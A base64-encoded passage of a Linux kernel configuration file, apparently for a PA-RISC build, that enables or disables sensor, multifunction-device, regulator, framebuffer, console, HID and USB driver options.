TkZJR19TRU5TT1JTX0xNNzggaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNODAgaXMg
bm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNODMgaXMgbm90IHNldAojIENPTkZJR19TRU5T
T1JTX0xNODUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNODcgaXMgbm90IHNldAoj
IENPTkZJR19TRU5TT1JTX0xNOTAgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNOTIg
aXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNOTMgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX0xNOTUyMzQgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNOTUyNDEgaXMg
bm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNOTUyNDUgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX1BDODczNjAgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19QQzg3NDI3PW0KIyBD
T05GSUdfU0VOU09SU19OVENfVEhFUk1JU1RPUiBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNP
UlNfTkNUNjY4MyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTkNUNjc3NSBpcyBub3Qg
c2V0CiMgQ09ORklHX1NFTlNPUlNfTkNUNzgwMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNP
UlNfTkNUNzkwNCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfUENGODU5MSBpcyBub3Qg
c2V0CiMgQ09ORklHX1BNQlVTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19TSFQyMSBp
cyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfU0hUQzEgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX1NJUzU1OTUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0RNRTE3MzcgaXMg
bm90IHNldAojIENPTkZJR19TRU5TT1JTX0VNQzE0MDMgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX0VNQzIxMDMgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0VNQzZXMjAxIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19TTVNDNDdNMSBpcyBub3Qgc2V0CiMgQ09ORklH
X1NFTlNPUlNfU01TQzQ3TTE5MiBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfU01TQzQ3
QjM5NyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfU0NINTZYWF9DT01NT04gaXMgbm90
IHNldAojIENPTkZJR19TRU5TT1JTX1NNTTY2NSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNP
UlNfQURDMTI4RDgxOCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURTMTAxNSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURTNzgyOCBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfQU1DNjgyMSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfSU5BMjA5IGlzIG5v
dCBzZXQKIyBDT05GSUdfU0VOU09SU19JTkEyWFggaXMgbm90IHNldAojIENPTkZJR19TRU5T
T1JTX1RDNzQgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX1RITUM1MCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NFTlNPUlNfVE1QMTAyIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19U
TVAxMDMgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX1RNUDQwMSBpcyBub3Qgc2V0CiMg
Q09ORklHX1NFTlNPUlNfVE1QNDIxIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19WSUE2
ODZBIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfVlQxMjExPW0KQ09ORklHX1NFTlNPUlNf
VlQ4MjMxPW0KIyBDT05GSUdfU0VOU09SU19XODM3ODFEIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0VOU09SU19XODM3OTFEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19XODM3OTJEIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19XODM3OTMgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX1c4Mzc5NSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfVzgzTDc4NVRTIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19XODNMNzg2TkcgaXMgbm90IHNldAojIENPTkZJ
R19TRU5TT1JTX1c4MzYyN0hGIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfVzgzNjI3RUhG
PW0KIyBDT05GSUdfVEhFUk1BTCBpcyBub3Qgc2V0CiMgQ09ORklHX1dBVENIRE9HIGlzIG5v
dCBzZXQKQ09ORklHX1NTQl9QT1NTSUJMRT15CgojCiMgU29uaWNzIFNpbGljb24gQmFja3Bs
YW5lCiMKQ09ORklHX1NTQj1tCkNPTkZJR19TU0JfU1BST009eQpDT05GSUdfU1NCX1BDSUhP
U1RfUE9TU0lCTEU9eQpDT05GSUdfU1NCX1BDSUhPU1Q9eQojIENPTkZJR19TU0JfQjQzX1BD
SV9CUklER0UgaXMgbm90IHNldAojIENPTkZJR19TU0JfREVCVUcgaXMgbm90IHNldApDT05G
SUdfU1NCX0RSSVZFUl9QQ0lDT1JFX1BPU1NJQkxFPXkKQ09ORklHX1NTQl9EUklWRVJfUENJ
Q09SRT15CkNPTkZJR19CQ01BX1BPU1NJQkxFPXkKCiMKIyBCcm9hZGNvbSBzcGVjaWZpYyBB
TUJBCiMKIyBDT05GSUdfQkNNQSBpcyBub3Qgc2V0CgojCiMgTXVsdGlmdW5jdGlvbiBkZXZp
Y2UgZHJpdmVycwojCkNPTkZJR19NRkRfQ09SRT1tCiMgQ09ORklHX01GRF9BUzM3MTEgaXMg
bm90IHNldAojIENPTkZJR19QTUlDX0FEUDU1MjAgaXMgbm90IHNldAojIENPTkZJR19NRkRf
QkNNNTkwWFggaXMgbm90IHNldAojIENPTkZJR19NRkRfQVhQMjBYX0kyQyBpcyBub3Qgc2V0
CiMgQ09ORklHX1BNSUNfREE5MDNYIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX0RBOTA1Ml9J
MkMgaXMgbm90IHNldAojIENPTkZJR19NRkRfREE5MDU1IGlzIG5vdCBzZXQKIyBDT05GSUdf
TUZEX0RBOTA2MiBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9EQTkwNjMgaXMgbm90IHNldAoj
IENPTkZJR19NRkRfREE5MTUwIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX0RMTjIgaXMgbm90
IHNldAojIENPTkZJR19NRkRfTUMxM1hYWF9JMkMgaXMgbm90IHNldApDT05GSUdfSFRDX1BB
U0lDMz1tCiMgQ09ORklHX0xQQ19JQ0ggaXMgbm90IHNldApDT05GSUdfTFBDX1NDSD1tCiMg
Q09ORklHX01GRF9KQU5aX0NNT0RJTyBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9LRU1QTEQg
aXMgbm90IHNldAojIENPTkZJR19NRkRfODhQTTgwMCBpcyBub3Qgc2V0CiMgQ09ORklHX01G
RF84OFBNODA1IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEXzg4UE04NjBYIGlzIG5vdCBzZXQK
IyBDT05GSUdfTUZEX01BWDE0NTc3IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX01BWDc3Njkz
IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX01BWDc3ODQzIGlzIG5vdCBzZXQKIyBDT05GSUdf
TUZEX01BWDg5MDcgaXMgbm90IHNldAojIENPTkZJR19NRkRfTUFYODkyNSBpcyBub3Qgc2V0
CiMgQ09ORklHX01GRF9NQVg4OTk3IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX01BWDg5OTgg
aXMgbm90IHNldAojIENPTkZJR19NRkRfTVQ2Mzk3IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZE
X01FTkYyMUJNQyBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9WSVBFUkJPQVJEIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTUZEX1JFVFUgaXMgbm90IHNldAojIENPTkZJR19NRkRfUENGNTA2MzMg
aXMgbm90IHNldAojIENPTkZJR19NRkRfUkRDMzIxWCBpcyBub3Qgc2V0CiMgQ09ORklHX01G
RF9SVFNYX1BDSSBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9SVDUwMzMgaXMgbm90IHNldAoj
IENPTkZJR19NRkRfUlRTWF9VU0IgaXMgbm90IHNldAojIENPTkZJR19NRkRfUkM1VDU4MyBp
cyBub3Qgc2V0CiMgQ09ORklHX01GRF9STjVUNjE4IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZE
X1NFQ19DT1JFIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1NJNDc2WF9DT1JFIGlzIG5vdCBz
ZXQKQ09ORklHX01GRF9TTTUwMT1tCiMgQ09ORklHX01GRF9TS1k4MTQ1MiBpcyBub3Qgc2V0
CiMgQ09ORklHX01GRF9TTVNDIGlzIG5vdCBzZXQKIyBDT05GSUdfQUJYNTAwX0NPUkUgaXMg
bm90IHNldAojIENPTkZJR19NRkRfU1lTQ09OIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RJ
X0FNMzM1WF9UU0NBREMgaXMgbm90IHNldAojIENPTkZJR19NRkRfTFAzOTQzIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTUZEX0xQODc4OCBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9QQUxNQVMg
aXMgbm90IHNldAojIENPTkZJR19UUFM2MTA1WCBpcyBub3Qgc2V0CiMgQ09ORklHX1RQUzY1
MDdYIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RQUzY1MDg2IGlzIG5vdCBzZXQKIyBDT05G
SUdfTUZEX1RQUzY1MDkwIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RQUzY1MjE3IGlzIG5v
dCBzZXQKIyBDT05GSUdfTUZEX1RQUzY1MjE4IGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RQ
UzY1ODZYIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RQUzY1OTEyX0kyQyBpcyBub3Qgc2V0
CiMgQ09ORklHX01GRF9UUFM4MDAzMSBpcyBub3Qgc2V0CiMgQ09ORklHX1RXTDQwMzBfQ09S
RSBpcyBub3Qgc2V0CiMgQ09ORklHX1RXTDYwNDBfQ09SRSBpcyBub3Qgc2V0CiMgQ09ORklH
X01GRF9XTDEyNzNfQ09SRSBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9MTTM1MzMgaXMgbm90
IHNldAojIENPTkZJR19NRkRfVE1JTyBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9WWDg1NSBp
cyBub3Qgc2V0CiMgQ09ORklHX01GRF9BUklaT05BX0kyQyBpcyBub3Qgc2V0CiMgQ09ORklH
X01GRF9XTTg0MDAgaXMgbm90IHNldAojIENPTkZJR19NRkRfV004MzFYX0kyQyBpcyBub3Qg
c2V0CiMgQ09ORklHX01GRF9XTTgzNTBfSTJDIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1dN
ODk5NCBpcyBub3Qgc2V0CkNPTkZJR19SRUdVTEFUT1I9eQojIENPTkZJR19SRUdVTEFUT1Jf
REVCVUcgaXMgbm90IHNldApDT05GSUdfUkVHVUxBVE9SX0ZJWEVEX1ZPTFRBR0U9bQojIENP
TkZJR19SRUdVTEFUT1JfVklSVFVBTF9DT05TVU1FUiBpcyBub3Qgc2V0CkNPTkZJR19SRUdV
TEFUT1JfVVNFUlNQQUNFX0NPTlNVTUVSPW0KIyBDT05GSUdfUkVHVUxBVE9SX0FDVDg4NjUg
aXMgbm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfQUQ1Mzk4IGlzIG5vdCBzZXQKIyBDT05G
SUdfUkVHVUxBVE9SX0RBOTIxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9EQTky
MTEgaXMgbm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfRkFONTM1NTUgaXMgbm90IHNldAoj
IENPTkZJR19SRUdVTEFUT1JfSVNMOTMwNSBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRP
Ul9JU0w2MjcxQSBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9MUDM5NzEgaXMgbm90
IHNldAojIENPTkZJR19SRUdVTEFUT1JfTFAzOTcyIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVH
VUxBVE9SX0xQODcyWCBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9MUDg3NTUgaXMg
bm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfTFRDMzU4OSBpcyBub3Qgc2V0CiMgQ09ORklH
X1JFR1VMQVRPUl9NQVgxNTg2IGlzIG5vdCBzZXQKIyBDT05GSUdfUkVHVUxBVE9SX01BWDg2
NDkgaXMgbm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfTUFYODY2MCBpcyBub3Qgc2V0CiMg
Q09ORklHX1JFR1VMQVRPUl9NQVg4OTUyIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVHVUxBVE9S
X01BWDg5NzMgaXMgbm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfTVQ2MzExIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUkVHVUxBVE9SX1BGVVpFMTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVH
VUxBVE9SX1BWODgwNjAgaXMgbm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfUFY4ODA5MCBp
cyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9UUFM1MTYzMiBpcyBub3Qgc2V0CiMgQ09O
RklHX1JFR1VMQVRPUl9UUFM2MjM2MCBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9U
UFM2NTAyMyBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9UUFM2NTA3WCBpcyBub3Qg
c2V0CkNPTkZJR19NRURJQV9TVVBQT1JUPW0KCiMKIyBNdWx0aW1lZGlhIGNvcmUgc3VwcG9y
dAojCiMgQ09ORklHX01FRElBX0NBTUVSQV9TVVBQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdf
TUVESUFfQU5BTE9HX1RWX1NVUFBPUlQgaXMgbm90IHNldAojIENPTkZJR19NRURJQV9ESUdJ
VEFMX1RWX1NVUFBPUlQgaXMgbm90IHNldAojIENPTkZJR19NRURJQV9SQURJT19TVVBQT1JU
IGlzIG5vdCBzZXQKIyBDT05GSUdfTUVESUFfU0RSX1NVUFBPUlQgaXMgbm90IHNldAojIENP
TkZJR19NRURJQV9SQ19TVVBQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfVklERU9fQURWX0RF
QlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfVklERU9fRklYRURfTUlOT1JfUkFOR0VTIGlzIG5v
dCBzZXQKIyBDT05GSUdfVFRQQ0lfRUVQUk9NIGlzIG5vdCBzZXQKCiMKIyBNZWRpYSBkcml2
ZXJzCiMKIyBDT05GSUdfTUVESUFfVVNCX1NVUFBPUlQgaXMgbm90IHNldAojIENPTkZJR19N
RURJQV9QQ0lfU1VQUE9SVCBpcyBub3Qgc2V0CgojCiMgU3VwcG9ydGVkIE1NQy9TRElPIGFk
YXB0ZXJzCiMKIyBDT05GSUdfQ1lQUkVTU19GSVJNV0FSRSBpcyBub3Qgc2V0CgojCiMgTWVk
aWEgYW5jaWxsYXJ5IGRyaXZlcnMgKHR1bmVycywgc2Vuc29ycywgaTJjLCBmcm9udGVuZHMp
CiMKCiMKIyBDdXN0b21pc2UgRFZCIEZyb250ZW5kcwojCkNPTkZJR19EVkJfVFVORVJfRElC
MDA3MD1tCkNPTkZJR19EVkJfVFVORVJfRElCMDA5MD1tCgojCiMgVG9vbHMgdG8gZGV2ZWxv
cCBuZXcgZnJvbnRlbmRzCiMKIyBDT05GSUdfRFZCX0RVTU1ZX0ZFIGlzIG5vdCBzZXQKCiMK
IyBHcmFwaGljcyBzdXBwb3J0CiMKIyBDT05GSUdfQUdQIGlzIG5vdCBzZXQKQ09ORklHX1ZH
QV9BUkI9eQpDT05GSUdfVkdBX0FSQl9NQVhfR1BVUz0xNgojIENPTkZJR19EUk0gaXMgbm90
IHNldAoKIwojIEFDUCAoQXVkaW8gQ29Qcm9jZXNzb3IpIENvbmZpZ3VyYXRpb24KIwojIENP
TkZJR19EUk1fQU1EX0FDUCBpcyBub3Qgc2V0CgojCiMgRnJhbWUgYnVmZmVyIERldmljZXMK
IwpDT05GSUdfRkI9eQpDT05GSUdfRklSTVdBUkVfRURJRD15CkNPTkZJR19GQl9DTURMSU5F
PXkKQ09ORklHX0ZCX05PVElGWT15CiMgQ09ORklHX0ZCX0REQyBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0JPT1RfVkVTQV9TVVBQT1JUIGlzIG5vdCBzZXQKQ09ORklHX0ZCX0NGQl9GSUxM
UkVDVD15CkNPTkZJR19GQl9DRkJfQ09QWUFSRUE9eQpDT05GSUdfRkJfQ0ZCX0lNQUdFQkxJ
VD15CiMgQ09ORklHX0ZCX0NGQl9SRVZfUElYRUxTX0lOX0JZVEUgaXMgbm90IHNldAojIENP
TkZJR19GQl9TWVNfRklMTFJFQ1QgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfQ09QWUFS
RUEgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfSU1BR0VCTElUIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfRk9SRUlHTl9FTkRJQU4gaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfRk9Q
UyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1NWR0FMSUIgaXMgbm90IHNldAojIENPTkZJR19G
Ql9NQUNNT0RFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0JBQ0tMSUdIVCBpcyBub3Qgc2V0
CkNPTkZJR19GQl9NT0RFX0hFTFBFUlM9eQojIENPTkZJR19GQl9USUxFQkxJVFRJTkcgaXMg
bm90IHNldAoKIwojIEZyYW1lIGJ1ZmZlciBoYXJkd2FyZSBkcml2ZXJzCiMKIyBDT05GSUdf
RkJfQ0lSUlVTIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUE0yIGlzIG5vdCBzZXQKIyBDT05G
SUdfRkJfQ1lCRVIyMDAwIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVNJTElBTlQgaXMgbm90
IHNldAojIENPTkZJR19GQl9JTVNUVCBpcyBub3Qgc2V0CkNPTkZJR19GQl9TVEk9eQojIENP
TkZJR19GQl9PUEVOQ09SRVMgaXMgbm90IHNldAojIENPTkZJR19GQl9TMUQxM1hYWCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0ZCX05WSURJQSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1JJVkEg
aXMgbm90IHNldAojIENPTkZJR19GQl9JNzQwIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfTUFU
Uk9YIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUkFERU9OIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfQVRZMTI4IGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVRZIGlzIG5vdCBzZXQKIyBDT05G
SUdfRkJfUzMgaXMgbm90IHNldAojIENPTkZJR19GQl9TQVZBR0UgaXMgbm90IHNldAojIENP
TkZJR19GQl9TSVMgaXMgbm90IHNldAojIENPTkZJR19GQl9ORU9NQUdJQyBpcyBub3Qgc2V0
CiMgQ09ORklHX0ZCX0tZUk8gaXMgbm90IHNldAojIENPTkZJR19GQl8zREZYIGlzIG5vdCBz
ZXQKIyBDT05GSUdfRkJfVk9PRE9PMSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZUODYyMyBp
cyBub3Qgc2V0CiMgQ09ORklHX0ZCX1RSSURFTlQgaXMgbm90IHNldAojIENPTkZJR19GQl9B
UksgaXMgbm90IHNldAojIENPTkZJR19GQl9QTTMgaXMgbm90IHNldAojIENPTkZJR19GQl9D
QVJNSU5FIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU001MDEgaXMgbm90IHNldAojIENPTkZJ
R19GQl9TTVNDVUZYIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVURMIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfSUJNX0dYVDQ1MDAgaXMgbm90IHNldAojIENPTkZJR19GQl9WSVJUVUFMIGlz
IG5vdCBzZXQKIyBDT05GSUdfRkJfTUVUUk9OT01FIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJf
TUI4NjJYWCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0JST0FEU0hFRVQgaXMgbm90IHNldAoj
IENPTkZJR19GQl9BVU9fSzE5MFggaXMgbm90IHNldAojIENPTkZJR19GQl9TSU1QTEUgaXMg
bm90IHNldAojIENPTkZJR19GQl9TTTcxMiBpcyBub3Qgc2V0CkNPTkZJR19CQUNLTElHSFRf
TENEX1NVUFBPUlQ9eQpDT05GSUdfTENEX0NMQVNTX0RFVklDRT1tCiMgQ09ORklHX0xDRF9Q
TEFURk9STSBpcyBub3Qgc2V0CkNPTkZJR19CQUNLTElHSFRfQ0xBU1NfREVWSUNFPXkKIyBD
T05GSUdfQkFDS0xJR0hUX0dFTkVSSUMgaXMgbm90IHNldAojIENPTkZJR19CQUNLTElHSFRf
UE04OTQxX1dMRUQgaXMgbm90IHNldAojIENPTkZJR19CQUNLTElHSFRfQURQODg2MCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0JBQ0tMSUdIVF9BRFA4ODcwIGlzIG5vdCBzZXQKIyBDT05GSUdf
QkFDS0xJR0hUX0xNMzYzOSBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tMSUdIVF9MVjUyMDdM
UCBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tMSUdIVF9CRDYxMDcgaXMgbm90IHNldAojIENP
TkZJR19WR0FTVEFURSBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkaXNwbGF5IGRyaXZlciBz
dXBwb3J0CiMKQ09ORklHX0RVTU1ZX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09MRV9D
T0xVTU5TPTE2MApDT05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTY0CkNPTkZJR19GUkFNRUJV
RkZFUl9DT05TT0xFPXkKQ09ORklHX0ZSQU1FQlVGRkVSX0NPTlNPTEVfREVURUNUX1BSSU1B
Ulk9eQpDT05GSUdfRlJBTUVCVUZGRVJfQ09OU09MRV9ST1RBVElPTj15CkNPTkZJR19TVElf
Q09OU09MRT15CkNPTkZJR19MT0dPPXkKIyBDT05GSUdfTE9HT19MSU5VWF9NT05PIGlzIG5v
dCBzZXQKQ09ORklHX0xPR09fTElOVVhfVkdBMTY9eQpDT05GSUdfTE9HT19MSU5VWF9DTFVU
MjI0PXkKQ09ORklHX0xPR09fUEFSSVNDX0NMVVQyMjQ9eQojIENPTkZJR19TT1VORCBpcyBu
b3Qgc2V0CgojCiMgSElEIHN1cHBvcnQKIwpDT05GSUdfSElEPW0KIyBDT05GSUdfSElEX0JB
VFRFUllfU1RSRU5HVEggaXMgbm90IHNldApDT05GSUdfSElEUkFXPXkKIyBDT05GSUdfVUhJ
RCBpcyBub3Qgc2V0CkNPTkZJR19ISURfR0VORVJJQz1tCgojCiMgU3BlY2lhbCBISUQgZHJp
dmVycwojCkNPTkZJR19ISURfQTRURUNIPW0KIyBDT05GSUdfSElEX0FDUlVYIGlzIG5vdCBz
ZXQKQ09ORklHX0hJRF9BUFBMRT1tCiMgQ09ORklHX0hJRF9BUFBMRUlSIGlzIG5vdCBzZXQK
IyBDT05GSUdfSElEX0FVUkVBTCBpcyBub3Qgc2V0CkNPTkZJR19ISURfQkVMS0lOPW0KIyBD
T05GSUdfSElEX0JFVE9QX0ZGIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9DSEVSUlk9bQpDT05G
SUdfSElEX0NISUNPTlk9bQojIENPTkZJR19ISURfQ09SU0FJUiBpcyBub3Qgc2V0CiMgQ09O
RklHX0hJRF9DTUVESUEgaXMgbm90IHNldApDT05GSUdfSElEX0NZUFJFU1M9bQpDT05GSUdf
SElEX0RSQUdPTlJJU0U9bQpDT05GSUdfRFJBR09OUklTRV9GRj15CiMgQ09ORklHX0hJRF9F
TVNfRkYgaXMgbm90IHNldAojIENPTkZJR19ISURfRUxFQ09NIGlzIG5vdCBzZXQKIyBDT05G
SUdfSElEX0VMTyBpcyBub3Qgc2V0CkNPTkZJR19ISURfRVpLRVk9bQojIENPTkZJR19ISURf
R0VNQklSRCBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9HRlJNIGlzIG5vdCBzZXQKIyBDT05G
SUdfSElEX0hPTFRFSyBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9HVDY4M1IgaXMgbm90IHNl
dAojIENPTkZJR19ISURfS0VZVE9VQ0ggaXMgbm90IHNldApDT05GSUdfSElEX0tZRT1tCiMg
Q09ORklHX0hJRF9VQ0xPR0lDIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1dBTFRPUCBpcyBu
b3Qgc2V0CkNPTkZJR19ISURfR1lSQVRJT049bQojIENPTkZJR19ISURfSUNBREUgaXMgbm90
IHNldApDT05GSUdfSElEX1RXSU5IQU49bQpDT05GSUdfSElEX0tFTlNJTkdUT049bQojIENP
TkZJR19ISURfTENQT1dFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9MRU5PVk8gaXMgbm90
IHNldApDT05GSUdfSElEX0xPR0lURUNIPW0KIyBDT05GSUdfSElEX0xPR0lURUNIX0RKIGlz
IG5vdCBzZXQKIyBDT05GSUdfSElEX0xPR0lURUNIX0hJRFBQIGlzIG5vdCBzZXQKQ09ORklH
X0xPR0lURUNIX0ZGPXkKQ09ORklHX0xPR0lSVU1CTEVQQUQyX0ZGPXkKIyBDT05GSUdfTE9H
SUc5NDBfRkYgaXMgbm90IHNldApDT05GSUdfTE9HSVdIRUVMU19GRj15CiMgQ09ORklHX0hJ
RF9NQUdJQ01PVVNFIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9NSUNST1NPRlQ9bQpDT05GSUdf
SElEX01PTlRFUkVZPW0KIyBDT05GSUdfSElEX01VTFRJVE9VQ0ggaXMgbm90IHNldApDT05G
SUdfSElEX05UUklHPW0KIyBDT05GSUdfSElEX09SVEVLIGlzIG5vdCBzZXQKQ09ORklHX0hJ
RF9QQU5USEVSTE9SRD1tCkNPTkZJR19QQU5USEVSTE9SRF9GRj15CiMgQ09ORklHX0hJRF9Q
RU5NT1VOVCBpcyBub3Qgc2V0CkNPTkZJR19ISURfUEVUQUxZTlg9bQojIENPTkZJR19ISURf
UElDT0xDRCBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9QTEFOVFJPTklDUyBpcyBub3Qgc2V0
CiMgQ09ORklHX0hJRF9QUklNQVggaXMgbm90IHNldAojIENPTkZJR19ISURfUk9DQ0FUIGlz
IG5vdCBzZXQKIyBDT05GSUdfSElEX1NBSVRFSyBpcyBub3Qgc2V0CkNPTkZJR19ISURfU0FN
U1VORz1tCkNPTkZJR19ISURfU09OWT1tCiMgQ09ORklHX1NPTllfRkYgaXMgbm90IHNldAoj
IENPTkZJR19ISURfU1BFRURMSU5LIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1NURUVMU0VS
SUVTIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9TVU5QTFVTPW0KIyBDT05GSUdfSElEX1JNSSBp
cyBub3Qgc2V0CkNPTkZJR19ISURfR1JFRU5BU0lBPW0KQ09ORklHX0dSRUVOQVNJQV9GRj15
CkNPTkZJR19ISURfU01BUlRKT1lQTFVTPW0KQ09ORklHX1NNQVJUSk9ZUExVU19GRj15CiMg
Q09ORklHX0hJRF9USVZPIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9UT1BTRUVEPW0KIyBDT05G
SUdfSElEX1RISU5HTSBpcyBub3Qgc2V0CkNPTkZJR19ISURfVEhSVVNUTUFTVEVSPW0KQ09O
RklHX1RIUlVTVE1BU1RFUl9GRj15CiMgQ09ORklHX0hJRF9XQUNPTSBpcyBub3Qgc2V0CiMg
Q09ORklHX0hJRF9XSUlNT1RFIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1hJTk1PIGlzIG5v
dCBzZXQKQ09ORklHX0hJRF9aRVJPUExVUz1tCkNPTkZJR19aRVJPUExVU19GRj15CiMgQ09O
RklHX0hJRF9aWURBQ1JPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9TRU5TT1JfSFVCIGlz
IG5vdCBzZXQKCiMKIyBVU0IgSElEIHN1cHBvcnQKIwpDT05GSUdfVVNCX0hJRD1tCkNPTkZJ
R19ISURfUElEPXkKQ09ORklHX1VTQl9ISURERVY9eQoKIwojIEkyQyBISUQgc3VwcG9ydAoj
CiMgQ09ORklHX0kyQ19ISUQgaXMgbm90IHNldApDT05GSUdfVVNCX09IQ0lfTElUVExFX0VO
RElBTj15CkNPTkZJR19VU0JfU1VQUE9SVD15CkNPTkZJR19VU0JfQ09NTU9OPXkKQ09ORklH
